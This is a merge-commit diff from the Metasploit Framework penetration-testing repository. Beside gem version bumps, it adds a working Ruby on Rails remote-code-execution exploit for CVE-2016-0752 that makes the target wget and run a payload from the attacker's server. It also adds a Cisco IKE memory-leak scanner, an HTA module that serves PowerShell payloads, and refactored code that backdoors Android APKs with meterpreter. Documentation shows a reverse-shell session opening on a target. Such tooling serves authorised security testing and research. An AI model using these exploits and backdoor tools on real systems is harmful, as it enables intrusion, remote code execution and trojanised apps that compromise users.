Merge branch 'master' into land-7430-

bug/bundler_fix
Brent Cook 2016-10-14 09:48:33 -05:00
commit 4c248ebe9e
26 changed files with 602 additions and 101 deletions

View File

@ -14,9 +14,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.1.19)
metasploit-payloads (= 1.1.21)
metasploit_data_models
metasploit_payloads-mettle (= 0.0.6)
metasploit_payloads-mettle (= 0.0.8)
msgpack
nessus_rest
net-ssh
@ -102,7 +102,7 @@ GEM
bcrypt (3.1.11)
bit-struct (0.15.0)
builder (3.2.2)
capybara (2.9.2)
capybara (2.10.1)
addressable
mime-types (>= 1.16)
nokogiri (>= 1.3.3)
@ -155,7 +155,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-credential (2.0.3)
metasploit-credential (2.0.4)
metasploit-concern
metasploit-model
metasploit_data_models
@ -167,7 +167,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.1.19)
metasploit-payloads (1.1.21)
metasploit_data_models (2.0.4)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -178,7 +178,7 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.0.6)
metasploit_payloads-mettle (0.0.8)
method_source (0.8.2)
mime-types (3.1)
mime-types-data (~> 3.2015)
@ -192,9 +192,8 @@ GEM
nessus_rest (0.1.6)
net-ssh (3.2.0)
network_interface (0.0.1)
nokogiri (1.6.8)
nokogiri (1.6.8.1)
mini_portile2 (~> 2.1.0)
pkg-config (~> 1.1.7)
octokit (4.3.0)
sawyer (~> 0.7.0, >= 0.5.3)
openssl-ccm (1.2.1)
@ -206,7 +205,6 @@ GEM
pcaprub (0.12.4)
pg (0.19.0)
pg_array_parser (0.0.9)
pkg-config (1.1.7)
postgres_ext (3.0.0)
activerecord (>= 4.0.0)
arel (>= 4.0.1)
@ -272,7 +270,7 @@ GEM
rex-socket
rex-text
rex-struct2 (0.1.0)
rex-text (0.2.1)
rex-text (0.2.4)
rex-zip (0.1.0)
rex-text
rkelly-remix (0.0.6)
@ -307,7 +305,7 @@ GEM
simplecov-html (~> 0.10.0)
simplecov-html (0.10.0)
slop (3.6.0)
sqlite3 (1.3.11)
sqlite3 (1.3.12)
sshkey (1.8.0)
thor (0.19.1)
thread_safe (0.3.5)

Binary file not shown.

View File

@ -0,0 +1,34 @@
This module is for CVE-2016-6415, A vulnerability in Internet Key Exchange version 1 (IKEv1) packet processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software could allow an unauthenticated, remote attacker to retrieve memory contents, which could lead to the disclosure of confidential information.
The vulnerability is due to insufficient condition checks in the part of the code that handles IKEv1 security negotiation requests. An attacker could exploit this vulnerability by sending a crafted IKEv1 packet to an affected device configured to accept IKEv1 security negotiation requests. A successful exploit could allow the attacker to retrieve memory contents, which could lead to the disclosure of confidential information.
## Verification Steps
1. Do: ```use auxiliary/scanner/ike/cisco_ike_benigncertain```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Sample Output
```
msf auxiliary(cisco_ike_benigncertain) > show options
Module options (auxiliary/scanner/ike/cisco_ike_benigncertain):
Name Current Setting Required Description
---- --------------- -------- -----------
PACKETFILE /opt/metasploit-framework/data/exploits/cve-2016-6415/sendpacket.raw yes The ISAKMP packet file
RHOSTS 192.168.1.2 yes The target address range or CIDR identifier
RPORT 500 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary(cisco_ike_benigncertain) > set verbose True
msf auxiliary(cisco_ike_benigncertain) > run
[*] Printable info leaked:
>5..).........9.................................................................x...D.#..............+#.........\.....?.L...l...........h.............#.....................l...\...........l.....X.................a.#...R....X.....y#.........x...@V$.\.............X.<....X................W....._y>..#t... .....H...X.....W.......................................>.$...........>5..).............................!.....:3.K......X.............xV4.xV4.xV4.......................................X...........X.:3.KxV4.xV4.................$...m;......xV4.xV4.xV4.xV4.xV4.xV4.xV4.xV4...........!.....<<<<........................................................................................................................................................<<<<....................$...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................<<<<1.......................................<<<<....9....... .......d....................Q..........<<<<....9....... ...............(............Q..........<<<<........................CI................................................................................ab_cdefg_pool...................................................................................................................................................................................ozhu7vp...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
[+] 192.168.1.2:500 - IKE response with leak
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,79 @@
## Intro
Rails is a web application development framework written in the Ruby language. It is designed to make programming web applications easier by making assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks.
http://rubyonrails.org/
> This module exploits the rendering vulnerability via a temporary file upload to pop a shell (CVE-2016-0752).
## Setup
**Download and setup the sample vuln application:**
- [ ] `sudo apt-get install -y curl git`
- [ ] `curl -L https://get.rvm.io | bash -s stable --autolibs=3 --ruby=2.3.1`
- [ ] `source ~/.rvm/scripts/rvm`
- [ ] `sudo apt-get install rubygems ruby-dev nodejs zlib1g-dev -y`
- [ ] `gem install rails -v 4.0.8`
- [ ] `git clone https://github.com/forced-request/rails-rce-cve-2016-0752 pwn`
- [ ] `cd pwn`
- [ ] `bundle install`
- [ ] Edit the config/routes.rb file and add `post "users/:id", to: 'user#show'`
Basically, you just need a POST endpoint for the temporary file upload trick. Now you can start the rails server and test the module.
- [ ] `rails s -b 0.0.0.0` or `rails s -b 0.0.0.0 -e production`
## Usage
### Typical Usage
Just set ```RHOST``` and fire off the module! It's pretty much painless.
```set VERBOSE true``` if you want to see details.
```
saturn:metasploit-framework mr_me$ cat scripts/rails.rc
use exploit/multi/http/rails_dynamic_render_code_exec
set RHOST 172.16.175.251
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 172.16.175.1
check
exploit
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/rails.rc
[*] Processing scripts/rails.rc for ERB directives.
resource (scripts/rails.rc)> use exploit/multi/http/rails_dynamic_render_code_exec
resource (scripts/rails.rc)> set RHOST 172.16.175.251
RHOST => 172.16.175.251
resource (scripts/rails.rc)> set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
resource (scripts/rails.rc)> set LHOST 172.16.175.1
LHOST => 172.16.175.1
resource (scripts/rails.rc)> check
[+] 172.16.175.251:3000 The target is vulnerable.
resource (scripts/rails.rc)> exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 172.16.175.1:4444
[*] Sending initial request to detect exploitability
msf exploit(rails_dynamic_render_code_exec) > [*] 172.16.175.251:3000 - Starting up our web service on http://172.16.175.1:1337/iUDaRVpz ...
[*] Using URL: http://0.0.0.0:1337/iUDaRVpz
[*] Local IP: http://192.168.100.13:1337/iUDaRVpz
[*] uploading image...
[+] injected payload
[*] 172.16.175.251:3000 - Sending the payload to the server...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 172.16.175.251
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.251:41246) at 2016-09-29 17:52:00 -0500
[+] Deleted /tmp/NhhGKCCIgwF
msf exploit(rails_dynamic_render_code_exec) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 50809 created.
Channel 1 created.
$ id
uid=1000(student) gid=1000(student) groups=1000(student),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)
$
```

View File

@ -8,14 +8,7 @@ require 'fileutils'
require 'optparse'
require 'open3'
module Msf::Payload::Apk
class ApkBackdoor
include Msf::Payload::Apk
def backdoor_apk(apk, payload)
backdoor_payload(apk, payload)
end
end
class Msf::Payload::Apk
def print_status(msg='')
$stderr.puts "[*] #{msg}"
@ -65,62 +58,45 @@ module Msf::Payload::Apk
end
end
def fix_manifest(tempdir)
payload_permissions=[]
#Load payload's permissions
File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file|
k=File.read(file)
payload_manifest=Nokogiri::XML(k)
permissions = payload_manifest.xpath("//manifest/uses-permission")
for permission in permissions
name=permission.attribute("name")
payload_permissions << name.to_s
end
def parse_manifest(manifest_file)
File.open(manifest_file, "rb"){|file|
data = File.read(file)
return Nokogiri::XML(data)
}
original_permissions=[]
apk_mani=""
#Load original apk's permissions
File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2|
k=File.read(file2)
apk_mani=k
original_manifest=Nokogiri::XML(k)
permissions = original_manifest.xpath("//manifest/uses-permission")
for permission in permissions
name=permission.attribute("name")
original_permissions << name.to_s
end
}
#Get permissions that are not in original APK
add_permissions=[]
for permission in payload_permissions
if !(original_permissions.include? permission)
print_status("Adding #{permission}")
add_permissions << permission
end
end
inject=0
new_mani=""
#Inject permissions in original APK's manifest
for line in apk_mani.split("\n")
if (line.include? "uses-permission" and inject==0)
for permission in add_permissions
new_mani << '<uses-permission android:name="'+permission+'"/>'+"\n"
end
new_mani << line+"\n"
inject=1
else
new_mani << line+"\n"
end
end
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani }
end
def backdoor_payload(apkfile, raw_payload)
def fix_manifest(tempdir)
#Load payload's manifest
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
#Load original apk's manifest
original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
original_permissions = original_manifest.xpath("//manifest/uses-permission")
manifest = original_manifest.xpath('/manifest')
old_permissions = []
for permission in original_permissions
name = permission.attribute("name").to_s
old_permissions << name
end
for permission in payload_permissions
name = permission.attribute("name").to_s
unless old_permissions.include?(name)
print_status("Adding #{name}")
original_permissions.before(permission.to_xml)
end
end
application = original_manifest.at_xpath('/manifest/application')
application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml
application << payload_manifest.at_xpath('/manifest/application/service').to_xml
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts original_manifest.to_xml }
end
def backdoor_apk(apkfile, raw_payload)
unless apkfile && File.readable?(apkfile)
usage
raise RuntimeError, "Invalid template: #{apkfile}"
@ -168,9 +144,7 @@ module Msf::Payload::Apk
print_status "Decompiling payload APK..\n"
run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload")
f = File.open("#{tempdir}/original/AndroidManifest.xml")
amanifest = Nokogiri::XML(f)
f.close
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
print_status "Locating hook point..\n"
launcheractivity = find_launcher_activity(amanifest)
@ -194,15 +168,33 @@ module Msf::Payload::Apk
raise RuntimeError, "Unable to find onCreate() in #{smalifile}\n"
end
print_status "Copying payload files..\n"
FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/")
FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/"
# Remove unused files
FileUtils.rm "#{tempdir}/payload/smali/com/metasploit/stage/MainActivity.smali"
FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
payloadhook = entrypoint + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
package = amanifest.xpath("//manifest").first['package']
package_slash = package.gsub(/\./, "/")
print_status "Adding payload as package #{package}\n"
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
payload_dir = "#{tempdir}/original/smali/#{package_slash}/"
FileUtils.mkdir_p payload_dir
# Copy over the payload files, fixing up the smali code
payload_files.each do |file_name|
smali = File.read(file_name)
newsmali = smali.gsub(/com\/metasploit\/stage/, package_slash)
newfilename = "#{payload_dir}#{File.basename file_name}"
File.open(newfilename, "wb") {|file| file.puts newsmali }
end
payloadhook = entrypoint + %Q^
invoke-static {p0}, L#{package_slash}/MainService;->startService(Landroid/content/Context;)V
^
hookedsmali = activitysmali.gsub(entrypoint, payloadhook)
print_status "Loading #{smalifile} and injecting payload..\n"
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
injected_apk = "#{tempdir}/output.apk"
aligned_apk = "#{tempdir}/aligned.apk"
print_status "Poisoning the manifest with meterpreter permissions..\n"

View File

@ -320,7 +320,7 @@ module Msf
gen_payload = raw_payload
elsif payload.start_with? "android/" and not template.blank?
cli_print "Using APK template: #{template}"
apk_backdoor = ::Msf::Payload::Apk::ApkBackdoor::new()
apk_backdoor = ::Msf::Payload::Apk.new
raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload)
cli_print "Payload size: #{raw_payload.length} bytes"
gen_payload = raw_payload

View File

@ -101,6 +101,15 @@ class Config
value
end
#
# Returns the target's local system date and time.
#
def localtime
request = Packet.create_request('stdapi_sys_config_localtime')
response = client.send_request(request)
(response.get_tlv_value(TLV_TYPE_LOCAL_DATETIME) || "").strip
end
#
# Returns a hash of information about the remote computer.
#

View File

@ -129,6 +129,7 @@ TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | 1044
TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045
TLV_TYPE_DOMAIN = TLV_META_TYPE_STRING | 1046
TLV_TYPE_LOGGED_ON_USER_COUNT = TLV_META_TYPE_UINT | 1047
TLV_TYPE_LOCAL_DATETIME = TLV_META_TYPE_STRING | 1048
# Environment
TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100

View File

@ -94,13 +94,14 @@ class Console::CommandDispatcher::Stdapi::Sys
"kill" => "Terminate a process",
"ps" => "List running processes",
"reboot" => "Reboots the remote computer",
"reg" => "Modify and interact with the remote registry",
"reg" => "Modify and interact with the remote registry",
"rev2self" => "Calls RevertToSelf() on the remote machine",
"shell" => "Drop into a system command shell",
"shutdown" => "Shuts down the remote computer",
"steal_token" => "Attempts to steal an impersonation token from the target process",
"suspend" => "Suspends or resumes a list of processes",
"sysinfo" => "Gets information about the remote system, such as OS",
"localtime" => "Displays the target system's local date and time",
}
reqs = {
"clearev" => [ "stdapi_sys_eventlog_open", "stdapi_sys_eventlog_clear" ],
@ -135,6 +136,7 @@ class Console::CommandDispatcher::Stdapi::Sys
"steal_token" => [ "stdapi_sys_config_steal_token" ],
"suspend" => [ "stdapi_sys_process_attach"],
"sysinfo" => [ "stdapi_sys_config_sysinfo" ],
"localtime" => [ "stdapi_sys_config_localtime" ],
}
all.delete_if do |cmd, desc|
@ -820,6 +822,14 @@ class Console::CommandDispatcher::Stdapi::Sys
return true
end
#
# Displays the local date and time at the remote system location.
#
def cmd_localtime(*args)
print_line("Local Date/Time: " + client.sys.config.localtime);
return true
end
#
# Shuts down the remote computer.
#

View File

@ -65,9 +65,9 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.1.19'
spec.add_runtime_dependency 'metasploit-payloads', '1.1.21'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.6'
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.8'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.

View File

@ -0,0 +1,100 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco IKE Information Disclosure',
'Description' => %q{
A vulnerability in Internet Key Exchange version 1 (IKEv1) packet
processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software
could allow an unauthenticated, remote attacker to retrieve memory
contents, which could lead to the disclosure of confidential information.
The vulnerability is due to insufficient condition checks in the part
of the code that handles IKEv1 security negotiation requests.
An attacker could exploit this vulnerability by sending a crafted IKEv1
packet to an affected device configured to accept IKEv1 security
negotiation requests. A successful exploit could allow the attacker
to retrieve memory contents, which could lead to the disclosure of
confidential information.
},
'Author' => [ 'Nixawk' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-6415' ],
[ 'URL', 'https://github.com/adamcaudill/EquationGroupLeak/tree/master/Firewall/TOOLS/BenignCertain/benigncertain-v1110' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160916-ikev1' ],
[ 'URL', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6415' ],
[ 'URL', 'https://musalbas.com/2016/08/18/equation-group-benigncertain.html' ]
],
'DisclosureDate' => 'Sep 29 2016'
))
register_options(
[
Opt::RPORT(500),
OptPath.new('PACKETFILE',
[ true, 'The ISAKMP packet file', File.join(Msf::Config.data_directory, 'exploits', 'cve-2016-6415', 'sendpacket.raw') ])
], self.class)
end
def run_host(ip)
begin
isakmp_pkt = File.read(datastore['PACKETFILE'])
peer = "#{ip}:#{datastore['RPORT']}"
udp_sock = Rex::Socket::Udp.create(
{
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
}
)
add_socket(udp_sock)
udp_sock.sendto(isakmp_pkt, ip, datastore['RPORT'].to_i)
res = udp_sock.get(3)
return unless res && res.length > 36 # ISAKMP + 36 -> Notitication Data...
# Convert non-printable characters to periods
printable_data = res.gsub(/[^[:print:]]/, '.')
# Show abbreviated data
vprint_status("Printable info leaked:\n#{printable_data}")
chars = res.unpack('C*')
len = (chars[30].to_s(16) + chars[31].to_s(16)).hex
return if len <= 0
print_good("#{peer} - IKE response with leak")
report_vuln({
:host => ip,
:port => datastore['RPORT'],
:proto => 'udp',
:name => self.name,
:refs => self.references,
:info => "Vulnerable to Cisco IKE Information Disclosure"
})
# NETWORK may return the same packet data.
return if res.length < 2500
pkt_md5 = ::Rex::Text.md5(isakmp_pkt[isakmp_pkt.length-2500, isakmp_pkt.length])
res_md5 = ::Rex::Text.md5(res[res.length-2500, res.length])
print_warning("#{peer} - IKE response is same to payload data") if pkt_md5 == res_md5
rescue
ensure
udp_sock.close
end
end
end

View File

@ -42,8 +42,23 @@ class MetasploitModule < Msf::Auxiliary
send_packet = tns_packet("(CONNECT_DATA=(COMMAND=service_register_NSGR))")
sock.put(send_packet)
packet = sock.read(100)
find_packet = /\(ERROR_STACK=\(ERROR=/ === packet
find_packet == true ? print_error("#{ip}:#{rport} is not vulnerable ") : print_good("#{ip}:#{rport} is vulnerable")
if packet != nil
hex_packet = Rex::Text.to_hex(packet, prefix = ':')
split_hex = hex_packet.split(":")
find_packet = /\(ERROR_STACK=\(ERROR=/ === packet
#find_packet == true ? print_error("#{ip}:#{rport} is not vulnerable ") : print_good("#{ip}:#{rport} is vulnerable")
if find_packet == true #TNS Packet returned ERROR
print_error("#{ip}:#{rport} is not vulnerable")
elsif split_hex[5] == "02" #TNS Packet Type: ACCEPT
print_good("#{ip}:#{rport} is vulnerable")
elsif split_hex[5] == "04" #TNS Packet Type: REFUSE
print_error("#{ip}:#{rport} is not vulnerable")
else #All other TNS packet types or non-TNS packet type response cannot guarantee vulnerability
print_error("#{ip}:#{rport} might not be vulnerable")
end
else
print_error("#{ip}:#{rport} is not vulnerable")
end
# TODO: Module should report_vuln if this finding is solid.
rescue ::Rex::ConnectionError, ::Errno::EPIPE
print_error("#{ip}:#{rport} unable to connect to the server")

View File

@ -0,0 +1,200 @@
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails Dynamic Render File Upload Remote Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in the explicit render
method when leveraging user parameters.
This module has been tested across multiple versions of Ruby on Rails.
The technique used by this module requires the specified
endpoint to be using dynamic render paths, such as the following example:
def show
render params[:id]
end
Also, the vulnerable target will need a POST endpoint for the TempFile upload, this
can literally be any endpoint. This module doesnt use the log inclusion method of
exploitation due to it not being universal enough. Instead, a new code injection
technique was found and used whereby an attacker can upload temporary image files
against any POST endpoint and use them for the inclusion attack. Finally, you only
get one shot at this if you are testing with the builtin rails server, use caution.
},
'Author' =>
[
'mr_me <mr_me@offensive-security.com>', # necromanced old bug & discovered new vector rce vector
'John Poulin (forced-request)' # original render bug finder
],
'References' =>
[
[ 'CVE', '2016-0752'],
[ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00'], # rails patch
[ 'URL', 'https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/'], # John Poulin CVE-2016-0752 patched in 5.0.0.beta1.1 - January 25, 2016
[ 'URL', 'https://gist.github.com/forced-request/5158759a6418e6376afb'], # John's original exploit
],
'License' => MSF_LICENSE,
'Platform' => ['linux', 'bsd'],
'Arch' => ARCH_X86,
'Payload' =>
{
'DisableNops' => true,
},
'Privileged' => false,
'Targets' =>
[
[ 'Ruby on Rails 4.0.8 July 2, 2014', {} ] # Other versions are also affected
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 16 2016'))
register_options(
[
Opt::RPORT(3000),
OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/users"]),
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
], self.class)
end
def check
# this is the check for the dev environment
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH'], "%2f"),
'method' => 'GET',
}, 60)
# if the page controller is dynamically rendering, its for sure vuln
if res and res.body =~ /render params/
return CheckCode::Vulnerable
end
# this is the check for the prod environment
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH'], "%2fproc%2fself%2fcomm"),
'method' => 'GET',
}, 60)
# if we can read files, its likley we can execute code
if res and res.body =~ /ruby/
return CheckCode::Appears
end
return CheckCode::Safe
end
def on_request_uri(cli, request)
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@elf_sent = true
send_response(cli, @pl)
end
def send_payload
@bd = rand_text_alpha(8+rand(8))
fn = rand_text_alpha(8+rand(8))
un = rand_text_alpha(8+rand(8))
pn = rand_text_alpha(8+rand(8))
register_file_for_cleanup("/tmp/#{@bd}")
cmd = "wget #{@service_url} -O /tmp/#{@bd};"
cmd << "chmod 755 /tmp/#{@bd};"
cmd << "/tmp/#{@bd}"
pay = "<%=`#{cmd}`%>"
print_status("uploading image...")
data = Rex::MIME::Message.new
data.add_part(pay, nil, nil, 'form-data; name="#{un}"; filename="#{fn}.gif"')
res = send_request_cgi({
'method' => 'POST',
'cookie' => @cookie,
'uri' => normalize_uri(datastore['URIPATH'], pn),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})
if res and res.code == 422 and res.body =~ /Tempfile:\/(.*)&gt;/
@path = "#{$1}" if res.body =~ /Tempfile:\/(.*)&gt;/
return true
else
# this is where we pull the log file
if leak_log
return true
end
end
return false
end
def leak_log
# path to the log /proc/self/fd/7
# this bypasses the extension check
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH'], "proc%2fself%2ffd%2f7"),
'method' => 'GET',
}, 60)
if res and res.code == 200 and res.body =~ /Tempfile:\/(.*)>, @original_filename=/
@path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>, @original_filename=/
return true
end
return false
end
def start_http_server
@pl = generate_payload_exe
@elf_sent = false
downfile = rand_text_alpha(8+rand(8))
resource_uri = '/' + downfile
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
# do not use SSL for the attacking web server
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
@service_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"
service_url_payload = srv_host + resource_uri
print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
connect
end
def render_tmpfile
@path.gsub!(/\//, '%2f')
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH'], @path),
'method' => 'GET',
}, 1)
end
def exploit
print_status("Sending initial request to detect exploitability")
start_http_server
if send_payload
print_good("injected payload")
render_tmpfile
# we need to delay, for the stager
select(nil, nil, nil, 5)
end
end
end

View File

@ -180,10 +180,10 @@ class MetasploitModule < Msf::Exploit::Remote
fail_with(Failure::NoAccess, "Username '#{datastore['USERNAME']}' is incorrect.")
elsif res['loginfailed']
fail_with(Failure::NoAccess, "Password '#{datastore['PASSWORD']}' is incorrect.")
elsif res['sessionid']
report_cred(datastore['USERNAME'], datastore['PASSWORD'])
end
report_cred(datastore['USERNAME'], datastore['PASSWORD'])
res
end

View File

@ -20,7 +20,8 @@ class MetasploitModule < Msf::Exploit::Remote
},
'Author' =>
[
'Charlie Eriksen' # Initial discovery and exploit
'Charlie Eriksen', # Initial discovery and exploit
'funkypickle' # Version check to prove vulnerable
],
'License' => MSF_LICENSE,
'References' =>
@ -53,13 +54,19 @@ class MetasploitModule < Msf::Exploit::Remote
end
def check
response = send_request_cgi({
res1 = send_request_cgi({
# trailing slash required
'uri' => normalize_uri(target_uri.path, 'version/'),
'method' => 'GET'
})
res2 = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'render', 'local'),
'method' => 'POST'
})
if response and response.code == 500
return Exploit::CheckCode::Detected
if (res1 and %w(0.9.5 0.9.10).include?(res1.body.strip)) and (res2 and res2.code == 500)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

View File

@ -0,0 +1,56 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'HTA Web Server',
'Description' => %q(
This module hosts an HTML Application (HTA) that when opened will run a
payload via Powershell. When a user navigates to the HTA file they will
be prompted by IE twice before the payload is executed.
),
'License' => MSF_LICENSE,
'Author' => 'Spencer McIntyre',
'References' =>
[
['URL', 'https://www.trustedsec.com/july-2015/malicious-htas/']
],
# space is restricted by the powershell command limit
'Payload' => { 'DisableNops' => true, 'Space' => 2048 },
'Platform' => %w(win),
'Targets' =>
[
[ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ],
[ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 06 2016'
))
end
def on_request_uri(cli, _request)
print_status('Delivering Payload')
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
target.arch,
target.platform,
p.encoded,
'hta-psh',
{ :arch => target.arch, :platform => target.platform }
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end
def random_uri
# uri needs to end in .hta for IE to process the file correctly
'/' + Rex::Text.rand_text_alphanumeric(rand(10) + 6) + '.hta'
end
end

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 957999
CachedSize = 983599
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 959043
CachedSize = 984643
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 959043
CachedSize = 984643
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 957999
CachedSize = 983599
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 957999
CachedSize = 983599
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1189423
CachedSize = 1217071
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1190467
CachedSize = 1218115
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1190467
CachedSize = 1218115
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1189423
CachedSize = 1217071
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1189423
CachedSize = 1217071
include Msf::Payload::TransportConfig
include Msf::Payload::Windows